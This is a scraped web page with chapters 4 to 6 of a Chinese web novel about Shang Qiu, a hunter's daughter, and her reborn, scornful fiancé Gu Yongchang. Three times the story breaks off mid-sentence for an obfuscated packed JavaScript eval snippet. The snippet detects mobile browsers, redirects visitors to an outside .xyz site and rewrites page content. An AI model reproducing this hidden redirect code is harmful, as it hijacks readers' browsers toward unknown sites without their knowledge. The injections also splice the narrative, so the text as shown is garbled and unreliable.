商家这驴车置得大,就算是车架,坐两个人也隔着好几个拳头呢。 陆理缓缓坐下,又把背上的筐解下来,抱在怀中。 商秋一眼扫过,瞥到了天冬和白芨,不由得挑了挑眉。 这两种都算是比较珍贵的药材,她也采到过,不过品相没有这么好。 也不知道陆离在哪里发现的。 商秋虽然好奇,但没问,陆离的金叶子应该已经花光了,这是他谋生的门路。 似乎注意到她的目光,陆理主动说:“我采了些药材,去县里卖。” “嗯,品相不错,现在天冬在药铺的价格应该是……”想着陆离初来乍到,对县里不了解,商秋指点了两句。 车内的说话声渐渐停了,想是都在听,商秋本就对药材感兴趣,也乐于和人说起,村里人知道了收购价才不会被坑。 经过镇门口停了停,下去两人,商秋拉着缰绳驶上官道,这速度一下子快了。 灰尘也多了。 商秋被呛得咳嗽,她觉得陆离真聪明,她也要给自己做一个罩子。 等到了县里,商秋把车停到城门口统一的位置,交了两文钱。 人进城不用花钱,但车要,相比之下,车不进城让人暂时看着还更便宜,这是官府弄的摊子,也不用担心有人把驴车牵走了。 陆理跳下去,单手抓着背篓,另一只手扯了扯背带,轻飘飘的背好。 商秋看得一愣,忽然想起刚才陆离坐在自己旁边,她竟然没有闻到汗臭味! 商秋从小跟着她爹打熬身体,五感很敏锐,可隔着这么近的距离,她也没听到陆离的喘气声。 他这大筐可不轻,天又热,难道是走走停停,休息了很久? 毕竟一般人走路去县里,这个点也该回了。 陆理之后,其他人也下了车。 商秋挑上两个筐子,将临时牌子塞进腰包,对舅母说:“咱们先去药铺。” 是的,她也要卖药材,不过和陆离只简单扫去泥土不一样,她进行了炮制。 顾母和村里人都走了,他们赶着买东西。 陆理走得最慢。 商秋便喊他:“陆离,你有相熟的药铺吗?要不和我们一起?” 陆理意外,难得眼中浮现出笑意:“多谢商姑娘,其实我叫陆理,物……道理的理。” 陆理,不是陆离吗?爹明明说叫陆离,商秋有些尴尬,肯定是爹有口音,害自己听错了。 4. 第 4 章 商秋粗声粗气道:“陆理,你快跟上!”就挑着两筐子埋头走。 直到陈春喜喊她慢些:“你赶着做甚,不是说天黑前回去?” 商秋一下想起陆理还虚着,赶紧回头,却见陆理走在陈春喜旁边,呼吸都没变。 原来陆理体力不差。 也对,虽然他瘦,但骨架大,一看就是小时候不缺肉吃。 元气足,恢复便快。 到了药铺,相熟的掌柜直接把筐子接过去清点,轮到陆理,商秋有些好奇的看着。 天冬、白芨、黄精……陆理的药材竟都不是寻常货色。 而且损伤极小,不似新手。 商秋觉得爹不用为陆理唉声叹气了,他能养活自己。 卖了药材,商秋和舅母去绣庄。 掌柜看了条子,把嫁衣拿出来。 陈春喜目露惊叹:“确实好看,就是太贵,足足一两银呢。” 乡下人自己做衣服,一百文尽够了,便是这绣庄的成衣好看,也不过三五百文。 掌柜见她嫌贵,忙笑着介绍:“您瞧瞧这花色、这纹饰……可是我们绣庄最好的大师傅绣的,上了身活灵活现,出彩极了。贵是贵,但值得,小娘子这辈子也就一次。” 这话在理,两人都点头。 陈春喜更是想到顾母都能卖帕子挣钱,这嫁衣绝不能差了。 结了嫁衣的尾款,将包袱小心放进竹筐,两人又去粮铺买了细粮,买了油盐、糖以及几种做肉的大料。 零零碎碎的东西装满了筐子,最后去了书铺。 于掌柜知道陈春喜是商秋舅母,忙拉着她小声道:“我听人说,商娘子和顾童生已经过了小定,就等着这次院试放榜成婚,不知我可有幸去喝上一杯喜酒?” 通泽县不大,这俩人都长得好看,又常来,很是登对,于掌柜也想沾一沾喜气。 “当然可以。”陈春喜一口答应,“借您吉言,待定了日子便来请。” 商秋听到了却只当不知,瞅着书架上新到的书。 于掌柜了却心事,过来招呼:“商娘子这次可是还买一块墨和一刀竹纸?” 商秋点头:“再要半刀白麻纸。” “好勒。”于掌柜去取了东西,给她打了折。 商秋拿钱。 等出了书铺,陈春喜心疼道:“怎么买白麻纸?” 这纸比竹纸贵了好几倍! “顾大哥中了秀才,要与同窗书信来往,竹纸不太妥当。”所以商秋斟酌许久,终是买了。 顾永昌喜欢白麻纸,抄书也要买,她以往不舍得,这次有了正当理由就当哄一哄他,虽然私心里,商秋是不太赞成的。 她从小当家,手里钱少了就慌。 而且未婚夫要再往上考,他就顾秀云一个妹妹,早说过要厚嫁,还有顾母身体弱,也要精细养着,这花销就更大了。 纸墨买好,商秋没再耽搁,回去时路过银楼,看到顾母和顾秀云从里面出来,顾秀云见到商秋,先是心虚,继而狠狠瞪过来。 商秋看了眼她身后的银楼,没说话。 顾母忙道:“秀云大了,眼看她哥有了前程,我便想着要不给她置个银簪做嫁妆,只是——”她瞥了眼商秋,“到底没什么钱。” 商秋对钱的分配不包括现在就给未来小姑买银簪,直接道:“那秀云妹妹可有得攒了,我记得她一条帕子才值十文。” 村里小娘子想买个头绳绢花都是自己攒,顾秀云明明跟她娘学绣花,比她们更多来钱的门路,结果她怕针扎得疼,至今绣的帕子也才勉强过线,是绣庄最低那一档。 商秋觉得她身在福中不知福,其他人想学都没机会。 “哼!自己攒就自己攒。”顾秀云涨红了脸,“我又没说让你买。” 等走到城门口,其他人已经在了,商秋还了临时牌子,点过人数不差,便赶在天色黑透前回了村。 商秋把村人陆续放下,终于来到顾家,顾母推开门,没看到顾永昌,三人都是一怔。 把舅母送回家要紧,商秋见顾秀云关好了门便走了。 顾母也觉得奇怪,一边去厨房放东西,一边对顾秀云道:“你去书房,看看你哥在不在?” “好。”顾秀云还惦记着告状呢,立刻去敲门。 没应。 “哥哥,你在吗?” 依旧没声,顾秀云有些慌了,一边敲一边喊:“哥,哥你在不在……” 她吓得要去喊娘时,门哐的一下拉开,顾永昌拧着眉头,满脸的不耐烦:“秀云,你干嘛呢?” 顾秀云怔住了。 原本天黑了哥哥没来接,她就有些不满——他可是很在意她们安危的,但很快不满就变成了担忧,哥哥不在院中等着,会不会出事了? 可他明明在家。 顾秀云下意识道:“我们回来晚了,没看到你……” “不是有商秋吗?”顾永昌知道他娘和妹妹是跟商秋一起出去的,并不担心,忍着火气勉强道,“秀云,我忙着呢,有什么事明天再说。” 说完就关上了门。 顾秀云呆住。 商秋?商秋能管什么用,她连个银簪都舍不得给自己买。 别人都说商家仁道,一直帮着她们,可只有她知道,商秋有多吝啬。 她算得可精了。 顾秀云脸上露出伤心的神色,所以说她不喜欢商秋,这人还没进门呢,哥哥就把她当外人了。 商秋并不知道这些,得了字帖,如获至宝,难得闷在屋中几日。 直到钟婶拿着她订的竹席上门,踌躇问起顾家私塾什么时候能开。 商秋哪里知晓,便说:“我去顾家问问。”正好见见未婚夫。 * 顾永昌刚把几年后乡试的考题和优秀文章默写出来,正闭目养神,听到敲门声,看了看桌面,都整理好了,想起之前吼了妹妹有些愧疚,便温声道:“进来。” “顾大哥。” 他睁开眼睛,看到了推门进来的商秋。 此时顾永昌胜券在握,看商秋便不像刚重生时那么排斥。 不一样了。 记忆里,商秋总是板着脸、威仪深重,眼前人却对着他笑,如清水芙蓉一样出尘。 芙蓉花并不清淡,商秋的眉眼很浓丽,又透着股生机勃勃。 顾永昌心头微动。 就算后来去了上京,长得比商秋好看的小娘子也没几个。 只是看久了也就烦了,他除了芙蓉,还喜欢妩媚的芍药,娇弱的茉莉以及空谷的幽兰。 他不可能娶商秋的,但不娶,并不意味着他要舍弃商秋,他可以纳她为妾。 谁家正五品京官做成他那窝囊样,后院只商秋一人? 更别提他这辈子必然能爬得更高,入阁也不是不可能。 所以,顾永昌想,商秋虽不够资格做他正妻,但看在往日的情分上,他可以让她当个贵妾。 商秋觉得未婚夫的眼神怪怪的,竟让她有些恶心。 可能是中午吃多了,商秋直接道:“顾大哥,你家私塾准备什么时候开?” “私塾?” 正琢磨怎么让商秋做妾的顾永昌愣了一下,这才想起,他考中童生后,把旁边他爹留下的私塾开了。 毕竟两年前县里的秀才已经没什么能教他的,他不想浪费钱帛,索性家去,便有了闲暇。 “是啊。”商秋见他想起来了,说,“之前科举是大事,不敢耽搁,回来后你娘说你累狠了,要歇,现在如何了?” 顾永昌想起他遵循他爹旧例,收的那点少得可怜的拜师礼,顿时觉得亏心。 村里人一直说对他顾家多么多么照顾,但他们才花了那点子钱,就读书习字,可不是占了大便宜? 他不曾想到战乱时最不值钱的就是读书人了,只冷冷道:“不开了。” “你说什么?”商秋的眉头一下子皱了起来,“私塾突然关停,你让那些孩子怎么办?” “他们占了这许久的便宜,也尽够了。”顾永昌说。 占便宜?商秋常往县中跑,知道顾家收费只有县里的一两成,但他之前只是童生,而且村里和县里怎么能一样? 她耐心解释。 顾永昌却说:“我已经是秀才了,若还用童生的收费,你让大家怎么看我?” 其实他关停私塾最主要是不想浪费时间,但他却要掰扯一翻,以证明他爹、他顾家对村里也是有恩的。 商秋跟不认识一样看着未婚夫。 她想说大家只会觉得你重情重义、回报乡里,可又觉得他口中的大家不是指村里人。 她只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716733|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能道:“今年私塾的钱已经给了,你至少要教到年底,否则对你的名声不好。” 顾永昌脸色一变,名声二字,让他立刻就想到了前世种种。 因为读书人不能忘恩负义,因为糟糠之妻不下堂,因为…… 有太多因为了。 她总这样逼他,动不动就拿名声、拿恩情、拿大义说事。 顾永昌最烦的就是商秋这点。 她从一个小小石头村的猎户女,飞上枝头,成了穿金戴玉,呼奴唤婢的正五品宜人,还不够吗? 顾永昌自问自己回报给商家的已经够多了。 因为他,商秋一个小娘子都光宗耀祖了。 他很生气,但也知道商秋说得对,读书人的名声确实重要。 勉强挤出笑容,找了个理由:“院试一行让我大有收获,这几日都在写文章,灵感难得,我不能耽误,你让他们先在家温习,待我整理好了就开私塾。” “那需要多久?”商秋认真的问。 “再说吧。”顾永昌别过了头,“我要抓紧时间写文章了。” 商秋欲言又止,明明之前他说这是子承父业,是难得的放松,可现在,听出他在拖延,商秋却只能转身离开。 回到家,面对钟婶期待的眼神,商秋顿了顿,才将顾永昌要专心写文章暂时没空的事说了。 “竟是这样!”钟婶失望道,“我们确实不好耽误顾童生将来考举人,只是我儿,我儿……” 她说不下去了。 顾家私塾确实便宜,但对她家来说,依旧是一笔不小的开销,钟婶想到浪费的许多天,长长的叹了口气。 商秋想了想,走进屋内,拿出了自己这两日练的字:“钟婶,你看这字如何?” 钟婶抬眼望去,哪怕不懂,也觉得这字好看。 她夸道:“极好,我再没见过比这更好的。” 商秋失笑,说出自己的打算:“据我所知,承安还在识字阶段,三百千我都记熟了,不如你先把他送到我家里,我带着他读书练字。都说温故知新,这样等顾大哥事了,正好可以接着学。” 商秋难得腼腆的抿了抿唇,“只要你不嫌弃我一个小娘子教他就好。” “不嫌弃不嫌弃,你这字真好看,比我儿不知强了多少,我儿能有你这个姐姐当小先生,真是积了八辈子的福,不如就从明天开始吧?”钟婶激动无比,万没想到还有这种好事。 在她看来,商秋一贯靠谱,从不说瞎话,既然敢开口,就肯定能教。 钟婶主动说:“一只羊也是赶,一群羊也是赶,不如我跟他们说,让他们也把孩子送来?” 商秋点头:“那就麻烦钟婶你跟他们说清楚了。” “当然。”钟婶笑着走了。 商秋有些忐忑,进入书房把以前顾秀才教她时做的记录拿了出来。 这些用针线一张张缝合在了一起,看着就像是一本书,因为常常翻阅,质量不太好的竹纸都薄了一层。 每翻一张,还不待看清,商秋脑海中已浮现出内容。 三字经是最熟的,百家姓与千字文也不遑多让。 就连论语她都背熟了,顾秀才在时并未教她论语,是她向顾永昌借了书,一边向他请教意思,一边辨认生涩字词,慢慢背下来的。 不过商秋读书初衷很朴素,她想看懂医书。 科举不要小娘子,大夫也不会收她当徒弟,商秋只能自己看、自己悟。 偶尔遇到一个没有门户之见愿意教她几句的大夫,都得谢天谢地。 所以她说,顾秀云身在福中不知福。 商秋翻了大半,忐忑的心渐渐安稳下来。 只教三百千的话,并不难,她不会误人子弟。 商老爹也晓得了这事,不太看好,读书人一贯迂腐。 顾秀才已经是他见过的难得心胸开阔的读书人,却只肯私底下、避着人教商秋。 商老爹怕没人来,闺女失望。 结果次日,钟婶竟领着一群人浩浩荡荡的过来了,细数,一个没落。 商秋也吃了一惊,忙问,发现他们私下说好了,都觉得不能耽误顾童生用功,自家这个皮猴,让商秋教再合适不过。 “谁不听话,就可劲揍!” “没戒尺?那我给你找根棍子,保准好用。” 5. 第 5 章 大家都很相信商秋,商秋也觉得不能辜负他们的信任,很是准备了一番。 次日,众人把自家孩子送来。 商秋抓着铁柱叔塞给她的大棍子,哭笑不得。 再看底下乖巧坐着、眼睛却滴溜溜转的小童,想了想说:“我叫商秋,你们叫我小商姐,我会尽心教你们读书,若让我抓到有谁不认真听——”她双手抓住棍子,轻轻一按,碗口粗的棍子直接断了,“就如同此棍。” 一众小童倒吸口气,面色发白。 第一次对她的天生神力有了直观的感受。 心下满意,商秋开始带他们读三字经:“人之初,性本善。” 她读一句,众人便跟一句。 这是和顾秀才学的,不过商秋也很喜欢大声读书。 见声弱了,还拔高嗓音,催促他们大点声。 “……戒之哉,宜勉力。”最后一句几乎是吼出来的。 商老爹在外听得哭笑不得,他这闺女,就不是文化人,瞧瞧这读的,跟打仗一样。 一遍读完,商秋定了定神,开始讲故事。 她很喜欢听故事,恰好三字经里就有很多故事,当年顾秀才在时,她缠着对方问,怕忘记,都写在了纸上。 这是她第一次知道,石头村外有那么多有趣的人,三迁的孟母,让梨的孔融,负薪的朱买臣…… 一众小孩瞪大眼睛,此前哪里听过这般细致且跌宕起伏的故事? 顾永昌讲课只大略说些意思,其实顾秀才也这样,他们都把私塾看作圣地,哪会当堂跟市井说书人一样讲? 这像什么话。 傍晚下学,许承安背着小书箱哒哒往回走,他家就在石头村,所以不必像一些离得远的同窗还得父母来接。 许承安从小体弱,看多了他娘辛苦,回家便踩着凳子做饭。 等钟婶从镇上打零工回来,一边吃饭一边问他:“你今日上学如何?” 许承安眼睛一亮,难得活泼道:“小商姐教得特别好,我一下就把意思记住了,待多读几遍,就背得很流利。” “那就好。”钟婶很欣慰,却蹙眉道,“你怎么叫小商姐?应该叫商先生。” “是小商姐说的。” “她这是谦虚。”钟婶强调道,“可是——她虽说只暂时教你们,但一日的先生也是先生,不可不敬。” “娘,我听你的。” 吃过晚饭,钟婶点了蜡烛,其实这会儿天还没黑,可她怕光线不好,坏了儿子眼睛。 正准备磨墨,却见儿子去厨房拿了个碗,又从书箱中拿出一个从未见过的毛笔,沾了水在桌面上写字。 钟婶意外:“你这是作甚,这毛笔又是哪来的?” 许承安腼腆一笑:“这是小商姐……商先生送我的,她说毛笔贵,对比一番后找了狼毛兔毛加上竹管,做成了简陋的毛笔。练字花费大,先这般用水找到手感,再蘸了墨写,或是用水在纸上写,等纸一干又是新的。” “不过商先生也说用水写和墨写手感不一样,所以若想把字练好,将来科举,还是得用纸用墨,不过娘,我想先这样练着。” “竟能如此,我却从未想到!”钟婶听得呆住,“商秋好聪明,她还愿意将这窍门告诉你们……你要记得这恩。” “娘,我知道的。”许承安认真点头,“商先生是个大好人。” “是啊,她不仅帮了咱家,还帮了很多人。” * 送走最后一个孩子,商秋回到书房,拿起自己做的细毛笔开始画画。 她画的是山上的一草一木,并不拘泥于认得的药材,也有无名野草。 毕竟商秋觉得,自己所认得的药材太少了,没准哪一天就证明这野草有特殊效果呢。 一共画了三张,天色暗下来,商秋捏了捏鼻梁,猛眨了几下眼睛。 这时商老爹喊她吃饭,商秋应了一声,看纸上的墨干了,便拖出来一个箱子,小心的放了进去。 而箱子里,似这样的画纸还有很多。 所有竹纸都裁得跟三字经一样大小,叠在一起整整齐齐,每一张都画了一个植物,有的好几张用线缝在一起,因为它们都是一种植物,只不过是一种植物在不同时间的状态。 比如作为一个幼苗时,开花时、结果时、晒干后、刨制切片后……商秋就像一个谨慎的记录员。 如果仔细翻找,会发现最下面的笔触很稚嫩,怪模怪样的。 但渐渐的,就越来越像了。 商秋没人教,都是自己摸索的。 比起练字,她最先接触到的其实是她大舅舅画的草药。 赵康宁是石头村唯一的大夫,因半路出家很是谨慎,见过不少药材长得像的,怕搞错弄出人命,所以狠下了功夫,商秋受他影响,也颇为敬畏。 她很快就把大舅舅会的学了去,只是画画,还要画得像,就连顾秀才和顾永昌都教不了她多少。 好在她画的她自己能看懂,大舅舅这个内行人也能看懂。 至于其他人则要随缘一些,看他们有没有见过。 很多时候,商秋都有一种被困在笼子里蒙头乱窜,却不知方向的难受。 她羡慕顾秀云,她娘教她肯定不会藏私,她也羡慕顾永昌,他有不懂的可以书信先生与同窗探讨。 不像她,就只有一个半吊子舅舅,还要她教他。 商秋长长的、长长的叹了口气:“真希望我有一天也能拜到师父,成为一个特别特别厉害的大夫,治好我爹,也治好村里其他人。” 她想到常常说腰痛的阿婶,想到一场风寒就没了的小孩,合上箱子去吃饭了。 当晚商秋睡得正香时,她家门被敲得砰砰响:“小商姐救命呀。” 商秋一个鲤鱼打挺坐起来,快速去开大门。 “小商姐,我奶又吐又拉的,你快去看看。”来人叫许大虎,急得满头是汗。 商秋立刻严肃了表情:“去叫了我大舅吗?” “去了,我爹去的,他又让我来叫你。” “等着。” 商秋来到平时储存药材的药房,抓着好几种药材塞进药箱。 抓好药,和许大虎一路飞奔。 商家离得远,到时大舅赵康宁果然已经在了,一见商秋就说:“你先去看看。”他不敢贸然用药。 商秋天赋比他好,学得快,这病人又是个上了年纪的,上吐下泻可不是小事,他见过有人熬了两天没扛住去了的。 那还是一个壮汉。 商秋快速给阿婆把了脉,又检查一番,问了她平时吃的东西。 得知是因为天热,有一碗放了肉丁的菜馊了,他们把肉丁捡出来,本打算倒掉,阿婆却舍不得,背着人吃掉了。 商秋听得心酸。 阿婆历经战乱之苦,哪怕日子好过了,这节俭的性格也改不掉。 好在商秋治过类似的,阿婆不算太严重。 她跟大舅商量一番,斟酌了药量。 方子开好,用商秋带来的药材去煎,阿婆喝下,两刻钟后肚子果然没那么难受了,商秋又给她按了按虎口等位置,止了吐。 等一切结束,天都已经亮了。 他家付了诊费,还往商秋药箱里塞了好几个鸡蛋,商秋不要,许大虎他爹却说:“几个鸡蛋而已,若去县里看病,还不知得花多少呢。” 都说没钱莫生病,自商秋能采药后,赵大夫家原本就少的诊费更少了,当他们不知道吗?好多药材都是半卖半送的。 村里可以说就没有没得过他家恩的,大家私下早商量好了,等商秋大婚,要凑钱给她买一副银头面添妆。 也叫秀才公知晓,商秋有好些人撑腰呢。 商秋精神一直紧绷着,这会儿也没力气推拒,便收了。 人命关天,近几年她越发清楚这四个字的分量,所以迫切想学更多。 * 顾家,这日顾秀云见她哥心情好,立马揣着刚得的消息告状: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716734|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哥,商秋现在越发不安分了,居然抢了咱家的活,让人去她家读书。” 顾永昌的眉头果然皱了起来,却不是因为私塾的归属问题,而是——“她一个小娘子竟敢教人读书?” “没错。”顾秀云重重点头,“到时出了岔子,肯定会连累哥哥。” “这石头村的人简直毫无廉耻,难道不知此事传出去,定会传为笑柄?”顾永昌的脸色很难看。 虽然一直以来商秋行事颇为荒诞,但他万没想到,她还能如此大逆不道! 教书育人这种事也是她一个女人能做的? 顾永昌觉得丢脸极了,匆匆丢下一句:“我去找她。”就走了。 顾秀云看着他的背影,她哥确实和商秋有了嫌隙,但不知怎地,她竟然没有想象中开心。 小娘子当先生是没有廉耻吗?可她哥从前还赞过商秋学问好,说她可以向商秋请教。 顾永昌出了门,横穿大半村子去商家,路上遇到的人都向他打招呼,他勉强点头,心里极为嫌弃。 这些村妇居然把小腿露了出来,透过她们的草鞋,可以看到沾满了泥污的脚趾。 特别大。 顾永昌终于想起,别说是石头村了,就连整个通泽县都极偏远极落后,仿佛未开化的蛮夷之地,这里的女人一个个都不像上京的世家贵女裹脚,那双粗俗的大脚跟男人一样。 他觉得一刻都待不下去了,但——不行,他的优势在于前世的记忆。 他不能乱来,他只能忍,不过他记住了。 才到商家门口就听到几乎掀翻屋顶的读书声,顾永昌又皱了下眉,这女人教书,果然没有章法。 他气冲冲进门,还没看到商秋,先看到了站在院中的商老爹,心里咯噔,下意识扬起笑脸:“商叔父。” “你咋来了?”商老爹很冷淡。 顾永昌含糊道:“我来看看商秋。” “那你等着吧。” 两刻钟后,商秋下课见到未婚夫,面露惊喜:“顾大哥,你来了。” 顾永昌说:“许久没见你,有些话想跟你说。” 商秋立刻道:“那我们去小溪边。” 她实在不好意思在她爹的眼皮子底下,跟未婚夫说悄悄话。 走出院子,左边是进山的路,前方则有一条蜿蜒而下的小溪。 因为更远处还有一条大河,村里人洗衣服都去那,这条小溪倒没什么人来,很是僻静。 溪边还长了不少五颜六色的花儿,村里定了亲的年轻人常来。 不过商秋知道后头一个更隐秘的,第一次把未婚夫带去时,他高兴的不得了,后来便总去。 顾永昌没想起这事,走到溪边觉得商老爹看不到了,就停下。 商秋意外,回头望去。 顾永昌道:“就在这儿说吧。” “顾大哥,你……” 顾永昌积累了一肚子的火,此时怒道:“你突然在家开私塾,为什么不跟我说?” 商秋表情微愣。 “你这是做什么,显摆你学问好?” “我没有,我只是觉得你关停私塾还不知要多久,便让他们先去我家温习功课,之后你……”商秋解释。 “合着这还是我的错,要你替我周全?”顾永昌打断她,讽刺道,“你一个小娘子还想当先生,这是替我周全,还是惹得同窗都笑话我?” 商秋面色一变。 她看着是爽朗的性格,什么都不往心里去,但事实上,无论是上山打猎,还是在已经有了一个粗枝大叶老爹的情况下,想把父女俩的日子过好,她要考虑很多事,她的心思其实很细腻。 她对人的情绪并不迟钝,此刻就看出来,顾永昌瞧不起她,打心眼里觉得她一个小娘子不配教童子读书。 从前的未婚夫从不这样! 之前种种怪异她可以不介意,但今天——商秋眼神转冷,直勾勾地盯着顾永昌:“你还记得咱们定亲时,你说了什么吗?” 6. 第 6 章 顾永昌一愣,怎么突然说起这个? 但很快,他看到了商秋怀疑的眼神,瞬间有如一盆冷水泼下,心头大动,他意识到商秋怀疑他了。 几乎是立刻,他开口:“我说,待我娶了你,年年都给你换一根新簪子。” 这承诺来源于顾秀云小时候见了顾母的银钗,吵着也要。 但当时顾秀才的身体已经不大好了,家里没钱给她买这样的贵物,顾母就哄她,说等她大了,让未来夫君买。 说好女不穿嫁时衣,小娘子的头面正代表了郎君的本事。 顾永昌听了进去,便在他爹对商猎户提出结亲时,对商秋说了这句话。 前几年,即便他穷,也年年自己用木头给商秋雕一个。 后来他们发达了,商秋还专门提起,他却觉得烦,索性告诉管家,让他去挑。 簪子而已,又不是什么好东西,他连宝石头面都置得起。 不过此时商秋问起,顾永昌不免又想起了穷困局促的从前。 他出生时今上已经登基,但不是所有地方都太平了。 相反,原先没谁把通泽县放在眼里,但这会儿溃败的乱军却哪里偏往哪里跑,到处烧伤抢掠。 他爹不只是秀才,还是云阳顾氏远了不知多少里的旁亲,消息灵通,见情势不妙,带一家人出逃,准备去投奔主支。 那边已经安定了,可惜他们还是低估了其中危险。 路上仆从有的死了,有的抢了金银逃走,他们一家被逼上绝境时,遇到了带着石头村人出来巡逻的商猎户。 石头村人本打算把他们赶走,是商猎户见到了他爹带的书,又听他爹自称秀才,发了话,他们一家才安定下来,不用提心吊胆被乱军流民追上,遭遇惨事。 他爹开了私塾,教村中小童读书,只石头村人都愚昧,并不重视,他爹也记得恩,不肯多收钱,日子便过得捉襟见肘,好在商猎户愿意照拂。 他爹临终前,弹尽竭虑定下他与商秋的婚事,他也是愿意的。 商秋很特殊,他从未见过那么厉害的小娘子,一下就打跑了欺负他的人。 他被商秋带着上山疯跑,见到了好多新鲜事,就算他爹去了,柔弱的母亲和妹妹依赖着他,也有商秋帮忙。 她会送他吃的喝的,给他出主意,那是他晦暗的少时唯一明媚的光彩。 在商秋身边,他什么都不用管,只被她拉着开心大笑就是,再大的问题在商秋面前都不是事。 所以他发誓要对商秋好,像他爹对他娘一样,举案齐眉,结发同心到白首。 但后来,顾永昌发现商秋和他娘一点都不一样。 他娘贞静柔顺,事事以他爹为先,但商秋很多时候只认自己的理。 他娘宽容大度,惦记着顾家子息单薄,在商秋怀孕时提点她给两个丫鬟开脸,那不过是两个通房,怎么也越不过主母,结果她毫不犹豫拒绝了,还说这辈子都不会允许夫君纳妾。 最重要的是,他娘谨守本分,从不插手他爹外头种种,可商秋不仅自己抛头露脸,还仗着消息灵通,处处对他说教! …… 他越来越厌烦商秋,偏偏他们一路走来,有太多人知道商秋与他互相扶持,他们说着糟糠之妻不下堂。 偏偏商秋搭上了太子,太子登基后,皇后常请她去宫里,上行下效,所有人都捧着她,所有人都觉得,他有今天是因为商秋。 顾永昌觉得自己要疯了,他不像个人,像商秋的傀儡,被她掌控,牵着鼻子走。 所以重生后,他想为自己活。 商秋听到未婚夫的承诺,和八年前别无二致,快坠到底的心终于稳住了。 她认真的打量顾永昌,人还是那个人,只是比去府城院试时长大了许多,大概真如他所说,是一夜之间开窍了吧? 至于之前的种种异样,商秋想到了自己,她发现医术不够没法救人时,也很焦虑,脾气很爆。 不过她相信未婚夫能度过这个坎坷,自己想通。 商秋最早注意到顾永昌,是因为他长得好看,和村里那些黑不溜秋的鼻涕娃很不一样,而且他还很捧场。 山上商秋见惯了的一切,他都会露出新鲜的表情,让商秋的虚荣心得到了满足,所以她喜欢跟他玩。 等两人定亲后,她看顾永昌又不一样,越相处越觉得不愧是读书人,能理解自己的想法,在很多她爹都不认同的事情上支持她。 商秋看多了村里两口子的相处模式,无法想象将来嫁的人,她跟他说读书习字,说医书药材。 他却满脸茫然,接不上话,甚至自说自的,非要她把人打一顿,才委屈的听从。 商秋不想天天和夫君打架,以确认事情对错。 这满村子也没几个扛得住她拳头的。 商秋喜欢讲道理,刚好顾永昌是个能理解她的文化人,她认为他们的劲能往一处使,就算期间有什么争论也能很快化解,如此未来哪会过得不好? 商秋笑得开心:“我的嫁衣已经做好了,可漂亮,花了一两银呢。木头也送去了县里,曹木匠跟我说,他们全家齐上阵,绝不耽误我的婚期,半个月就能做好。你县试、府试都考得好,又特地沉淀两年去考院试,定然能中!” “到时院试放榜过大定,刚好把打成的箱子柜子拉回来晒。” 大定就是男方下聘礼与女方晒嫁妆的日子,大定一过,婚期便在眼前。 顾永昌不由得打了个激灵,这才意识到他急着把前世种种捋清,却忘记距离他娶商秋的日子没多久了。 商秋面露期待,还在继续:“书铺的于掌柜说想喝我们喜酒,他一贯照顾你,等定了日子我就让爹亲自去请……” 顾永昌终于听不下去,他面露不快,自己怎么能娶商秋? 几乎是想也不想的,他就指责:“你说这个作甚?这么急着嫁人,可有一点小娘子的矜持?” 商秋哪配做他的妻?她只能为妾。 他声音里透出鄙夷。 商秋心头一凉,呐呐道:“可我已经十八了,村里人在我这个年纪已经是孩子娘了。” “我又没说不要你!”顾永昌恼羞成怒,他觉得商秋又在逼他。 商秋的脸冷了下来,想起戏里唱的陈世美的故事。 她用一种前所未有的目光打量着未婚夫,想将他面皮层层剥开,看清他脑中真实的想法。 她觉得他好陌生。 商秋不是个能忍气吞声的人,直接就问:“你是不是不想娶我了?” “这次院试,你不仅是文章方面开了窍吧,你还觉得你前途大好,值得家世更好的小娘子,看不上我这石头村一介猎户女了,你想悔亲?” 她的眼神犹如利箭一样射向顾永昌,那不再是看未婚夫,而是看背弃他们承诺、辜负了她的敌人。 顾永昌被她看得毛骨悚然,觉得自己成了商秋几拳头就能打死的野猪。 不,他比野猪脆弱多了。 不能激怒商秋! 顾永昌一下子清醒了,这里是石头村,商秋的地盘,她随随便便就能拉起一群人。 本能般柔和了眼神,拿出以前哄商秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716735|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音说:“你误会了,若我想悔亲,两年前就毁了,你知道的,府城有不少人家都看好我。” 这倒是。 商秋的戾气少了一些。 顾永昌心下微松,继续道:“我只是过了院试才发现一个秀才根本不算什么,我心里担忧,我很怕。” 他索性豁出去了,“我怕不能给你很好的生活,还要拖累你。你知道的,我想往上考,可秀才不能出仕,我想不到除了开私塾与抄书之外的赚钱之法,若你嫁进来,这所有的压力都会落你头上,我舍不得。” “是吗?可是……”商秋不信,他那态度,不对。 